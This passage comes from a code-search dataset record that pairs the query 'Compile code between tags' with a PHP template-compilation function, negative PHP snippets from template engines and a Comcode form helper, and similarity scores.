$this->smarty->caching = true;\n $this->smarty->cache_lifetime = 1000;\n $tpl = $this->smarty->createTemplate('test_block_grandchild.tpl');\n $this->assertFalse($tpl->isCached());\n $result = $this->smarty->fetch($tpl);\n $this->assertContains('Grandchild Page Title', $result);\n $this->smarty->template_objects = null;\n $tpl2 = $this->smarty->createTemplate('test_block_grandchild.tpl');\n $this->assertTrue($tpl2->isCached());\n $result = $this->smarty->fetch($tpl2);\n $this->assertContains('Grandchild Page Title', $result);\n }", "public function template()\n {\n if ($this->type === 'include') {\n return (object) [\n 'template' => $this->type,\n 'fields' => [],\n ];\n }\n\n $templateKey = $this->path;\n $templateConfig = json_encode(Config::get(\"page-blocks.$templateKey\"));\n\n return json_decode($templateConfig);\n }", "public function sectionSerialize()\n {\n $templatePrefix = $this->getTranslationTemplate();\n\n $properties = array_combine(\n array_map(function ($k) use ($templatePrefix) {\n return $templatePrefix . $k;\n },\n array_keys(get_object_vars($this))),\n get_object_vars($this)\n );\n return $properties;\n }", "public function getContent()\n {\n $source_code = '';\n $_components = array_reverse($this->components);\n $_last = end($_components);\n\n foreach ($_components as $_component) {\n if ($_component != $_last) {\n $source_code .= \"{$this->tpl_obj->left_delimiter}private_inheritancetpl_obj file='$_component->filepath' child--{$this->tpl_obj->right_delimiter}\\n\";\n } else {\n $source_code .= \"{$this->tpl_obj->left_delimiter}private_inheritancetpl_obj file='$_component->filepath'--{$this->tpl_obj->right_delimiter}\\n\";\n }\n }\n\n return $source_code;\n }", "function build_template_part_block_variations()\n {\n }" ]
[ "0.7370339", "0.5549771", "0.5325722", "0.5259751", "0.5203211", "0.49919966", "0.48723978", "0.4824481", "0.481683", "0.4784561", "0.46832952", "0.46291807", "0.4618991", "0.4576401", "0.4575262", "0.45566627", "0.45533636", "0.45140913", "0.45125273", "0.4401028", "0.43834195", "0.43389887", "0.43306333", "0.43303168", "0.42762455", "0.42557016", "0.42100704", "0.41862208", "0.41843602", "0.4178236", "0.41774142", "0.41737556", "0.41631633", "0.41585547", "0.41520587", "0.4149", "0.41401336", "0.4122739", "0.41035613", "0.40821448", "0.40783876", "0.40782362", "0.4076629", "0.40763113", "0.40696752", "0.4060864", "0.4048675", "0.4044876", "0.40430585", "0.40321475", "0.4030692", "0.402167", "0.4021117", "0.40184835", "0.40103802", "0.40091026", "0.40064335", "0.40057757", "0.40053", "0.39875758", "0.39875132", "0.39821717", "0.39797714", "0.39755282", "0.3971569", "0.3965031", "0.395247", "0.39524534", "0.39505982", "0.39497986", "0.39437515", "0.39436027", "0.39389497", "0.3937352", "0.39332962", "0.39285472", "0.39266914", "0.39266914", "0.39196867", "0.3918648", "0.39099348", "0.3902614", "0.38990825", "0.38980287", "0.38961208", "0.3895835", "0.3895835", "0.3895353", "0.38914207", "0.38820544", "0.38778126", "0.38752156", "0.38696763", "0.38688695", "0.38657594", "0.38625222", "0.38597634", "0.38592333", "0.38578942", "0.38511592" ]
0.674701
1
/ Compile code between tags
function _compile_text($code, $use_isset) { if(strlen($code) < 3) { return $code; } // change template varrefs into PHP varrefs // This one will handle varrefs WITH namespaces $varrefs = array(); preg_match_all('#\{(([a-z0-9\-_]+?\.)+?)([a-z0-9\-_]+?)\}#is', $code, $varrefs); $varcount = sizeof($varrefs[1]); $search = array(); $replace = array(); for ($i = 0; $i < $varcount; $i++) { $namespace = $varrefs[1][$i]; $varname = $varrefs[3][$i]; $new = $this->generate_block_varref($namespace, $varname, $use_isset); $search[] = $varrefs[0][$i]; $replace[] = $new; } if(sizeof($search) > 0) { $code = str_replace($search, $replace, $code); } // This will handle the remaining root-level varrefs $code = preg_replace('#\{([a-z0-9\-_]*?)\}#is', '<'.'?php echo isset($this->vars[\'\1\']) ? $this->vars[\'\1\'] : $this->lang(\'\1\'); ?'.'>', $code); $code = preg_replace('#\{\$([a-z0-9\-_]*?)\}#is', '<'.'?php echo isset($this->_tpldata[\'DEFINE\'][\'.\'][\'\\1\']) ? $this->_tpldata[\'DEFINE\'][\'.\'][\'\\1\'] : \'\'; ?'.'>', $code); return $code; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function doTagStuff(){}", "function compile($name, $code = false)\n {\n\t\tif (!$code)\n\t\t{\n\t\t\t$code = file_get_contents($this->template_dir.$name);\n\t\n\t\t\tif ($code === false)\n\t\t\t{\n\t\t\t\treturn false;\n\t\t\t}\n\t\t}\n\n\t\tpreg_match_all('/\\<!--[ ]*(.*?) (.*?)?[ ]*--\\>/', $code, $tag_blocks);\n\t\t$content_blocks = preg_split('/\\<!--[ ]*(.*?) (.*?)?[ ]*--\\>/', $code);\n\n\t\t$size = count($content_blocks);\n\n\t\t$parse_content = $compile = true;\n\t\t$tag_holding = array();\n\t\t$line = 1;\n\r\n\t\tfor ($loop = 0; $loop < $size; $loop++)\r\n\t\t{\n\t\t\t$line += substr_count($content_blocks[$loop], \"\\n\");\n\n\t\t\tif (!$compile)\n\t\t\t{\n\t\t\t\tif (strtoupper(trim($tag_blocks[1][$loop])) == 'ENDIGNORE')\n\t\t\t\t{\n\t\t\t\t\t$compile = true;\n\t\t\t\t}\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tif ($parse_content)\n\t\t\t{\n\t\t\t\t$content_blocks[$loop] = $this->_parse_content($content_blocks[$loop]);\n\t\t\t}\n\n\t\t\tif (empty($tag_blocks[1][$loop]))\n\t\t\t{\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tswitch (strtoupper(trim($tag_blocks[1][$loop])))\r\n\t\t\t{\n\t\t\t\tcase 'IF':\n\t\t\t\t\t$this->_tag_holding_add('IF', $line);\n\n\t\t\t\t\t$tag_blocks[0][$loop] = $this->_compile_tag_if($tag_blocks[2][$loop]);\r\n\t\t\t\tbreak;\r\n\r\n\t\t\t\tcase 'ELSE':\n\t\t\t\t\t$last_tag = $this->_tag_holding_view();\n\n\t\t\t\t\tif (!$last_tag || $last_tag['name'] != 'IF')\n\t\t\t\t\t{\n\t\t\t\t\t\t// Error here\n\t\t\t\t\t}\r\n\n\t\t\t\t\t$tag_blocks[0][$loop] = '<?php } else { ?>';\r\n\t\t\t\tbreak;\r\n\r\n\t\t\t\tcase 'ELSEIF':\n\t\t\t\t\t$last_tag = $this->_tag_holding_view();\n\n\t\t\t\t\tif (!$last_tag || $last_tag['name'] != 'IF')\n\t\t\t\t\t{\n\t\t\t\t\t\t// Error here\n\t\t\t\t\t}\n\r\n\t\t\t\t\t$tag_blocks[0][$loop] = $this->_compile_tag_if($tag_blocks[2][$loop], true);\r\n\t\t\t\tbreak;\r\n\r\n\t\t\t\tcase 'ENDIF':\n\t\t\t\t\t$last_tag = $this->_tag_holding_get();\n\n\t\t\t\t\tif (!$last_tag || $last_tag['name'] != 'IF')\n\t\t\t\t\t{\n\t\t\t\t\t\t// Error here\n\t\t\t\t\t}\n\r\n\t\t\t\t\t$tag_blocks[0][$loop] = '<?php } ?>';\r\n\t\t\t\tbreak;\n\t\t\t\t\n\t\t\t\tcase 'LOOP':\n\t\t\t\t\t$this->_tag_holding_add('LOOP', $line);\n\n\t\t\t\t\t$tag_blocks[0][$loop] = $this->_compile_tag_loop($tag_blocks[2][$loop]);\n\t\t\t\tbreak;\n\n\t\t\t\tcase 'LOOPELSE':\n\t\t\t\t\t$last_tag = $this->_tag_holding_get();\n\n\t\t\t\t\tif (!$last_tag || $last_tag['name'] != 'LOOP')\n\t\t\t\t\t{\n\t\t\t\t\t\t// Error here\n\t\t\t\t\t}\n\n\t\t\t\t\t$this->_tag_holding_add('LOOPELSE', $line);\n\n\t\t\t\t\t$tag_blocks[0][$loop] = '<?php } } else { ?>';\n\t\t\t\tbreak;\n\t\t\t\t\t\n\t\t\t\tcase 'ENDLOOP':\n\t\t\t\t\t$last_tag = $this->_tag_holding_get();\n\n\t\t\t\t\tif (!$last_tag || $last_tag['name'] != ('LOOP' || 'LOOPELSE'))\n\t\t\t\t\t{\n\t\t\t\t\t\t// Error here\n\t\t\t\t\t}\n\n\t\t\t\t\t$tag_blocks[0][$loop] = $this->_compile_tag_endloop($tag_blocks[2][$loop], $last_tag['name']);\n\t\t\t\tbreak;\n\n\t\t\t\tcase 'PHP':\n\t\t\t\t\t$this->_tag_holding_add('PHP', $line);\n\n\t\t\t\t\t$parse_content = false;\n\t\t\t\t\t$tag_blocks[0][$loop] = '<?php ';\r\n\t\t\t\tbreak;\n\n\t\t\t\tcase 'ENDPHP':\n\t\t\t\t\t$last_tag = $this->_tag_holding_get();\n\t\t\t\t\t\n\t\t\t\t\tif (!$last_tag || $last_tag['name'] != 'PHP')\n\t\t\t\t\t{\n\t\t\t\t\t\t// Error here\n\t\t\t\t\t}\n\n\t\t\t\t\t$parse_content = true;\n\t\t\t\t\t$tag_blocks[0][$loop] = ' ?>';\r\n\t\t\t\tbreak;\n\n\t\t\t\tcase 'INCLUDE':\n\t\t\t\t\t$tag_blocks[0][$loop] = $this->_compile_tag_include($tag_blocks[2][$loop]);\n\t\t\t\tbreak;\n\n\t\t\t\tcase 'DISPLAY_HEADER':\n\t\t\t\t\t$tag_blocks[0][$loop] = \"<?php echo \\$_CLASS['core_display']->display_header(); ?>\";\n\t\t\t\tbreak;\n\n\t\t\t\tcase 'DISPLAY_FOOTER':\n\t\t\t\t\t$tag_blocks[0][$loop] = \"<?php echo \\$_CLASS['core_display']->display_footer(); ?>\";\n\t\t\t\tbreak;\n\n\t\t\t\tcase 'IGNORE':\n\t\t\t\t\t$compile = false;\r\n\t\t\t\tbreak;\n\n\t\t\t\tcase 'DEFINE':\r\n\t\t\t\t\t$tag_blocks[0][$loop] = $this->_compile_tag_define($tag_blocks[2][$loop]);\r\n\t\t\t\tbreak;\n\n\t\t\t\tcase 'AREA':\r\n\t\t\t\t\t//$tag_blocks[0][$loop] = $this->_compile_tag_area($tag_blocks[2][$loop]);\r\n\t\t\t\tbreak;\n\n\t\t\t\tdefault:\n\t\t\t\t\t//$tag_blocks[0][$loop] = '<!-- '.$tag_blocks[1][$loop].' '.$tag_blocks[2][$loop].' -->';\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t}\n\n\t\t$this->_compiled_code = '';\n\t\t$size = count($content_blocks);\n\n\t\tfor ($loop = 0; $loop < $size; $loop++)\n\t\t{\r\n\t\t\t$this->_compiled_code .= $content_blocks[$loop] . (isset($tag_blocks[0][$loop]) ? $tag_blocks[0][$loop] : '');\r\n\t\t}\n\n\t\treturn true;\n }", "public function compile ();", "function compile_html () {\n\t //here go the subtags & attributes\n \n //see if we can make a sass script compiler\n \n if (file_exists (dirname(__FILE__).\"/scssphp/scss.inc.php\")) {\n require_once dirname(__FILE__).\"/scssphp/scss.inc.php\";\n $scss = new scssc();\n $this->content = $scss->compile ($this->get_content());\n }\n else {\n $this->content = $this->get_content ();\n }\n \n \n $html = \"\"; \n\t $attributes = \"\";\n $this->openingtag = $this->get_openingtag();\n $this->closingtag = $this->get_closingtag();\n $this->attributes = $this->get_attributes();\n $this->childrenElements = $this->get_childrenElements();\n \n\t foreach ($this->attributes as $aid => $avalue) {\n\t foreach ($avalue as $vkey => $value) {\n\t $attributes .= \" {$vkey}=\\\"{$value}\\\"\";\n\t\t }\n\t }\n\t \n\t if ( strpos($this->openingtag, \"[content]\") !== false ) {\n\t $openingtag = str_replace (\"[attributes]\", $attributes, $this->openingtag);\n\t $openingtag = str_replace (\"[content]\", slib_compress_script ( $this->content ), $openingtag );\n\t $html .= $openingtag;\n\t } \n\t else {\n\t $html .= str_replace (\"[attributes]\", $attributes, $this->openingtag);\n\t $html .= slib_compress_script ( $this->content );\n\t }\n\t \n\t foreach ($this->childrenElements as $childid => $element) {\n\t $html .= $element->compile_html();\n\t }\n\t \n\t \n\t if ($this->closingtag != \"\") { \n\t $html .= str_replace (\"[attributes]\", $attributes, $this->closingtag);\n\t }\n\t \n\t return $html;\n }", "public function compile()\n {\n\n $this->buildPage();\n\n if (defined('DEBUG_MARKUP') && DEBUG_MARKUP) {\n ob_start();\n $checkXml = new DOMDocument();\n\n if ($this instanceof LibTemplateAjax)\n $checkXml->loadXML($this->compiled);\n else\n $checkXml->loadHTML($this->compiled);\n\n $errors = ob_get_contents();\n ob_end_clean();\n\n // nur im fehlerfall loggen\n if ('' !== trim($errors)) {\n\n $this->getResponse()->addWarning('Invalid XML response');\n\n SFiles::write(PATH_GW.'log/tpl_xml_errors.html', $errors.'<pre>'.htmlentities($this->compiled).'</pre>');\n SFiles::write(PATH_GW.'log/tpl_xml_errors_'.date('Y-md-H-i_s').'.html', $errors.'<pre>'.htmlentities($this->compiled).'</pre>');\n }\n }\n\n if ($this->keyCachePage) {\n $this->writeCachedPage($this->keyCachePage , $this->compiled);\n }\n\n $this->output = $this->compiled;\n\n\n }", "function compile ($src);", "function compile_html () {\n\t //here go the subtags & attributes\n \n //see if we can make a coffee script compiler\n \n if (file_exists (dirname(__FILE__).\"/coffeescript/Init.php\")) {\n require_once dirname(__FILE__).\"/coffeescript/Init.php\";\n Coffeescript\\Init::load();\n $this->content = CoffeeScript\\Compiler::compile($this->get_content(), array(\"filename\"=>\"test.coffee\", \"bare\" => true));\n }\n else {\n $this->content = $this->get_content(); \n }\n \n \n $html = \"\"; \n\t $attributes = \"\";\n $this->openingtag = $this->get_openingtag();\n $this->closingtag = $this->get_closingtag();\n $this->attributes = $this->get_attributes();\n $this->childrenElements = $this->get_childrenElements();\n \n\t foreach ($this->attributes as $aid => $avalue) {\n\t foreach ($avalue as $vkey => $value) {\n\t $attributes .= \" {$vkey}=\\\"{$value}\\\"\";\n\t\t}\n\t }\n\t \n\t if ( strpos($this->openingtag, \"[content]\") !== false ) {\n\t $openingtag = str_replace (\"[attributes]\", $attributes, $this->openingtag);\n\t $openingtag = str_replace (\"[content]\", $this->content, $openingtag );\n\t $html .= $openingtag;\n\t } \n\t else {\n\t $html .= str_replace (\"[attributes]\", $attributes, $this->openingtag);\n\t $html .= $this->content;\n\t }\n\t \n\t foreach ($this->childrenElements as $childid => $element) {\n\t $html .= $element->compile_html();\n\t }\n\t \n\t \n\t if ($this->closingtag != \"\") { \n\t $html .= str_replace (\"[attributes]\", $attributes, $this->closingtag);\n\t }\n\t \n\t return $html;\n }", "protected function compile()\n\t{\n\n\t\t$this->Template->tweetcontainer = $this->html;\n\n\t}", "function comcode_helper_script()\n{\n\trequire_lang('comcode');\n\t$type=get_param('type','step1');\n\n\tlist($tag_list,$custom_tag_list)=_get_details_comcode_tags();\n\n\trequire_code('comcode_text');\n\n\tglobal $DANGEROUS_TAGS,$TEXTUAL_TAGS;\n\n\tif ($type=='step1')\n\t{\n\t\t$title=get_page_title('COMCODE_TAG');\n\t\t$keep=symbol_tempcode('KEEP');\n\t\t$comcode_groups='';\n\t\t$groups=_get_group_tags();\n\n\t\t$non_wysiwyg_tags=_get_non_wysiwyg_tags();\n\t\t$in_wysiwyg=get_param_integer('in_wysiwyg',0)==1;\n\n\t\tforeach ($groups as $groupname=>$grouptags)\n\t\t{\n\t\t\tsort($grouptags);\n\n\t\t\t$comcode_types='';\n\t\t\tforeach ($grouptags as $tag)\n\t\t\t{\n\t\t\t\t$custom=array_key_exists($tag,$custom_tag_list);\n\t\t\t\tif (($in_wysiwyg) && (!$custom) && (!in_array($tag,$non_wysiwyg_tags))) continue;\n\n\t\t\t\tif ((array_key_exists($tag,$DANGEROUS_TAGS)) && (!has_specific_permission(get_member(),'comcode_dangerous'))) continue;\n\n\t\t\t\tif ($custom)\n\t\t\t\t{\n\t\t\t\t\t$description=make_string_tempcode(escape_html(is_integer($custom_tag_list[$tag]['tag_description'])?get_translated_text($custom_tag_list[$tag]['tag_description']):$custom_tag_list[$tag]['tag_description']));\n\t\t\t\t} else\n\t\t\t\t{\n\t\t\t\t\t$description=do_lang_tempcode('COMCODE_TAG_'.$tag);\n\t\t\t\t}\n\n\t\t\t\t$url=find_script('comcode_helper').'?type=step2&tag='.urlencode($tag).'&field_name='.get_param('field_name').$keep->evaluate();\n\t\t\t\tif (get_param('utheme','')!='') $url.='&utheme='.get_param('utheme');\n\t\t\t\t$link_caption=escape_html($tag);\n\t\t\t\t$usage='';\n\n\t\t\t\t$comcode_types.=static_evaluate_tempcode(do_template('BLOCK_HELPER_BLOCK_CHOICE',array('USAGE'=>$usage,'DESCRIPTION'=>$description,'URL'=>$url,'LINK_CAPTION'=>$link_caption)));\n\t\t\t}\n\t\t\tif ($comcode_types!='')\n\t\t\t\t$comcode_groups.=static_evaluate_tempcode(do_template('BLOCK_HELPER_BLOCK_GROUP',array('IMG'=>NULL,'TITLE'=>do_lang_tempcode('COMCODE_GROUP_'.$groupname),'LINKS'=>$comcode_types)));\n\t\t}\n\t\t$content=do_template('BLOCK_HELPER_START',array('_GUID'=>'d2d6837cdd8b19d80ea95ab9f5d09c9a','GET'=>true,'TITLE'=>$title,'LINKS'=>$comcode_groups));\n\t}\n\telseif ($type=='step2')\n\t{\n\t\trequire_code('form_templates');\n\n\t\t$actual_tag=get_param('tag');\n\t\tif ((!isset($tag_list[$actual_tag])) && (!isset($custom_tag_list[$actual_tag])))\n\t\t\twarn_exit(do_lang_tempcode('INTERNAL_ERROR'));\n\t\t$tag=$actual_tag;\n\t\tif ($tag=='attachment_safe') $tag='attachment';\n\n\t\t$title=get_page_title('_COMCODE_HELPER',true,array($tag));\n\n\t\t$fields=new ocp_tempcode();\n\t\t$fields_advanced=new ocp_tempcode();\n\t\t$done_tag_contents=false;\n\t\t$hidden=new ocp_tempcode();\n\n\t\t$javascript='';\n\n\t\t$preview=true;\n\n\t\trequire_code('comcode_text');\n\t\t$defaults=parse_single_comcode_tag(get_param('parse_defaults','',true),$actual_tag);\n\n\t\t$default_embed=array_key_exists('',$defaults)?('[semihtml]'.$defaults[''].'[/semihtml]'):get_param('default','');\n\n\t\t$embed_required=true;\n\t\tif ($tag=='contents') $embed_required=false;\n\n\t\tif (isset($custom_tag_list[$tag]['tag_description']))\n\t\t{\n\t\t\t$tag_description=protect_from_escaping($custom_tag_list[$tag]['tag_description']);\n\t\t} else\n\t\t{\n\t\t\t$tag_description=protect_from_escaping(do_lang('COMCODE_TAG_'.$tag));\n\t\t}\n\n\t\tif (array_key_exists($tag,$tag_list))\n\t\t{\n\t\t\t$params=$tag_list[$tag];\n\t\t\tif ($tag=='include')\n\t\t\t{\n\t\t\t\t$default_embed=array_key_exists('',$defaults)?($defaults['']):get_param('default','');\n\t\t\t\tif (strpos($default_embed,':')===false) $default_embed=':'.$default_embed;\n\t\t\t\t$fields->attach(form_input_page_link(do_lang_tempcode('PAGE'),'','tag_contents',$default_embed,true,NULL,'comcode'));\n\t\t\t\t$done_tag_contents=true;\n\t\t\t}\n\t\t\telseif ($tag=='concepts')\n\t\t\t{\n\t\t\t\tforeach ($params as $param)\n\t\t\t\t{\n\t\t\t\t\t$description=do_lang('COMCODE_TAG_'.$tag.'_PARAM_'.$param);\n\t\t\t\t\t$fields->attach(form_input_line_multi(ucwords(str_replace('_',' ',$param)),protect_from_escaping($description),$param,get_defaults_multi($defaults,$param),1));\n\t\t\t\t}\n\t\t\t}\n\t\t\telseif ($tag=='jumping')\n\t\t\t{\n\t\t\t\tforeach ($params as $param)\n\t\t\t\t{\n\t\t\t\t\t$description=do_lang('COMCODE_TAG_'.$tag.'_PARAM_'.$param);\n\t\t\t\t\t$fields->attach(form_input_line_multi(ucwords(str_replace('_',' ',$param)),protect_from_escaping($description),$param,get_defaults_multi($defaults,$param),2));\n\t\t\t\t}\n\t\t\t}\n\t\t\telseif ($tag=='shocker')\n\t\t\t{\n\t\t\t\tforeach ($params as $param)\n\t\t\t\t{\n\t\t\t\t\t$description=do_lang('COMCODE_TAG_'.$tag.'_PARAM_'.$param);\n\t\t\t\t\tif ($param=='left' || $param=='right')\n\t\t\t\t\t\t$fields->attach(form_input_line_multi(ucwords(str_replace('_',' ',$param)),protect_from_escaping($description),$param,get_defaults_multi($defaults,$param),2));\n\t\t\t\t\telse\n\t\t\t\t\t\t$fields->attach(form_input_line(ucwords(str_replace('_',' ',$param)),protect_from_escaping($description),$param,'',false));\n\t\t\t\t}\n\t\t\t}\n\t\t\telseif ($tag=='random')\n\t\t\t{\n\t\t\t\tforeach ($params as $param)\n\t\t\t\t{\n\t\t\t\t\t$description=do_lang('COMCODE_TAG_'.$tag.'_PARAM_'.$param);\n\t\t\t\t\t$fields->attach(form_input_line_multi(ucwords(str_replace('_',' ',$param)),protect_from_escaping($description),$param,get_defaults_multi($defaults,$param),($param!='X')?2:0));\n\t\t\t\t}\n\t\t\t}\n\t\t\telseif ($tag=='sections')\n\t\t\t{\n\t\t\t\tforeach ($params as $param)\n\t\t\t\t{\n\t\t\t\t\tif($param=='default')\n\t\t\t\t\t{\n\t\t\t\t\t\t$description=do_lang('COMCODE_TAG_'.$tag.'_PARAM_'.$param);\n\t\t\t\t\t\t$default=array_key_exists($param,$defaults)?$defaults[$param]:get_param('default_'.$param,'1');\n\t\t\t\t\t\t$fields->attach(form_input_integer(ucwords(str_replace('_',' ',$param)),protect_from_escaping($description),$param,intval($default),false));\n\t\t\t\t\t}\n\t\t\t\t\telseif($param=='name')\n\t\t\t\t\t{\n\t\t\t\t\t\t$description=do_lang('COMCODE_TAG_'.$tag.'_PARAM_'.$param);\n\t\t\t\t\t\t$fields->attach(form_input_line_multi(ucwords(str_replace('_',' ',$param)),protect_from_escaping($description),$param,get_defaults_multi($defaults,$param),2));\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\telseif ($tag=='big_tabs')\n\t\t\t{\n\t\t\t\tforeach ($params as $param)\n\t\t\t\t{\n\t\t\t\t\tif($param=='default')\n\t\t\t\t\t{\n\t\t\t\t\t\t$description=do_lang('COMCODE_TAG_'.$tag.'_PARAM_'.$param);\n\t\t\t\t\t\t$default=array_key_exists($param,$defaults)?$defaults[$param]:get_param('default_'.$param,'1');\n\t\t\t\t\t\t$fields->attach(form_input_integer(ucwords(str_replace('_',' ',$param)),protect_from_escaping($description),$param,intval($default),false));\n\t\t\t\t\t}\n\t\t\t\t\telseif($param=='name')\n\t\t\t\t\t{\n\t\t\t\t\t\t$description=do_lang('COMCODE_TAG_'.$tag.'_PARAM_'.$param);\n\t\t\t\t\t\t$fields->attach(form_input_line_multi(ucwords(str_replace('_',' ',$param)),protect_from_escaping($description),$param,get_defaults_multi($defaults,$param),2));\n\t\t\t\t\t}\n\t\t\t\t\telseif($param=='switch_time')\n\t\t\t\t\t{\n\t\t\t\t\t\t$description=do_lang('COMCODE_TAG_'.$tag.'_PARAM_'.$param);\n\t\t\t\t\t\t$default=array_key_exists($param,$defaults)?$defaults[$param]:get_param('default_'.$param,'6000');\n\t\t\t\t\t\t$fields->attach(form_input_integer(ucwords(str_replace('_',' ',$param)),protect_from_escaping($description),$param,intval($default),false));\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\telseif ($tag=='tabs')\n\t\t\t{\n\t\t\t\tforeach ($params as $param)\n\t\t\t\t{\n\t\t\t\t\tif($param=='default')\n\t\t\t\t\t{\n\t\t\t\t\t\t$description=do_lang('COMCODE_TAG_'.$tag.'_PARAM_'.$param);\n\t\t\t\t\t\t$default=array_key_exists($param,$defaults)?$defaults[$param]:get_param('default_'.$param,'1');\n\t\t\t\t\t\t$fields->attach(form_input_integer(ucwords(str_replace('_',' ',$param)),protect_from_escaping($description),$param,intval($default),false));\n\t\t\t\t\t}\n\t\t\t\t\telseif($param=='name')\n\t\t\t\t\t{\n\t\t\t\t\t\t$description=do_lang('COMCODE_TAG_'.$tag.'_PARAM_'.$param);\n\t\t\t\t\t\t$fields->attach(form_input_line_multi(ucwords(str_replace('_',' ',$param)),protect_from_escaping($description),$param,get_defaults_multi($defaults,$param),2));\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tif (count($params)>0)\n\t\t\t\t{\n\t\t\t\t\trequire_code('form_templates');\n\t\t\t\t\tforeach ($params as $param)\n\t\t\t\t\t{\n\t\t\t\t\t\t$parameter_name=do_lang('COMCODE_TAG_'.$tag.'_NAME_OF_PARAM_'.$param,NULL,NULL,NULL,NULL,false);\n\t\t\t\t\t\tif (is_null($parameter_name)) $parameter_name=ucwords(str_replace('_',' ',$param));\n\n\t\t\t\t\t\t$descriptiont=do_lang('COMCODE_TAG_'.$tag.'_PARAM_'.$param);\n\t\t\t\t\t\t$supports_comcode=(strpos($descriptiont,do_lang('BLOCK_IND_SUPPORTS_COMCODE'))!==false);\n\t\t\t\t\t\t$descriptiont=trim(str_replace(do_lang('BLOCK_IND_SUPPORTS_COMCODE'),'',$descriptiont));\n\t\t\t\t\t\t$is_advanced=(strpos($descriptiont,do_lang('BLOCK_IND_ADVANCED'))!==false);\n\t\t\t\t\t\t$descriptiont=trim(str_replace(do_lang('BLOCK_IND_ADVANCED'),'',$descriptiont));\n\n\t\t\t\t\t\t$default=array_key_exists($param,$defaults)?$defaults[$param]:get_param('default_'.$param,'');\n\t\t\t\t\t\tif (!array_key_exists($param,$defaults))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$matches=array();\n\t\t\t\t\t\t\tif (preg_match('#'.do_lang('BLOCK_IND_DEFAULT').': [\"\\']([^\"]*)[\"\\']#Ui',$descriptiont,$matches)!=0)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$default=$matches[1];\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$descriptiont=preg_replace('#\\s*'.do_lang('BLOCK_IND_DEFAULT').': [\"\\']([^\"]*)[\"\\'](?-U)\\.?(?U)#Ui','',$descriptiont);\n\n\t\t\t\t\t\tif (($tag=='page') && ($param=='param') && (substr_count($default,':')==1))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$fields->attach(form_input_page_link($parameter_name,protect_from_escaping($descriptiont),$param,$default,true,NULL));\n\t\t\t\t\t\t}\n\t\t\t\t\t\telseif (($tag=='attachment') && ($param=='thumb_url') && (addon_installed('filedump')))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$field=form_input_tree_list(do_lang_tempcode('THUMBNAIL'),do_lang_tempcode('COMCODE_TAG_attachment_PARAM_thumb_url'),'thumb_url','','choose_filedump_file',array('only_images'=>true),false,$default,false);\n\t\t\t\t\t\t\t$fields_advanced->attach($field);\n\t\t\t\t\t\t} else\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif (substr($descriptiont,0,12)=='0|1 &ndash; ')\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$field=form_input_tick($parameter_name,protect_from_escaping(ucfirst(substr($descriptiont,12))),$param,$default=='1');\n\t\t\t\t\t\t\t} elseif ((substr($descriptiont,-1)!='.') && (strpos($descriptiont,'|')!==false))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$list=new ocp_tempcode();\n\t\t\t\t\t\t\t\tif (substr($descriptiont,0,1)!='=')\n\t\t\t\t\t\t\t\t\t$list->attach(form_input_list_entry(''));\n\t\t\t\t\t\t\t\tforeach (explode('|',$descriptiont) as $item)\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tif (strpos($item,'=')!==false)\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\tlist($item,$label)=explode('=',$item,2);\n\n\t\t\t\t\t\t\t\t\t\t// Simplify the choices\n\t\t\t\t\t\t\t\t\t\tif ($tag=='attachment')\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\tif (($item=='inline_extract') && (get_param_integer('is_archive',NULL)===0)) continue;\n\t\t\t\t\t\t\t\t\t\t\tif (($item=='island_extract') && (get_param_integer('is_archive',NULL)===0)) continue;\n\n\t\t\t\t\t\t\t\t\t\t\tif (($item=='inline') && (get_param_integer('is_image',NULL)===0)) continue;\n\t\t\t\t\t\t\t\t\t\t\tif (($item=='island') && (get_param_integer('is_image',NULL)===0)) continue;\n\n\t\t\t\t\t\t\t\t\t\t\tif (($item=='code') && ((get_param_integer('is_image',NULL)===1) || (get_param_integer('is_archive',NULL)===1))) continue;\n\n\t\t\t\t\t\t\t\t\t\t\tif (($item=='mail') && (get_param('default_type',NULL)!==NULL)) continue;\n\t\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t\t$list->attach(form_input_list_entry($item,($item==$default),protect_from_escaping($label)));\n\t\t\t\t\t\t\t\t\t} else\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t$list->attach(form_input_list_entry($item,($item==$default)));\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t$field=form_input_list($parameter_name,'',$param,$list,NULL,false,false);\n\t\t\t\t\t\t\t} elseif ($param=='width' || $param=='height')\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$field=form_input_integer($parameter_name,protect_from_escaping($descriptiont),$param,($default=='')?NULL:intval($default),false);\n\t\t\t\t\t\t\t} else\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif ($supports_comcode)\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$field=form_input_line_comcode($parameter_name,protect_from_escaping($descriptiont),$param,$default,false);\n\t\t\t\t\t\t\t\t} else\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$field=form_input_line($parameter_name,protect_from_escaping($descriptiont),$param,$default,false);\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tif 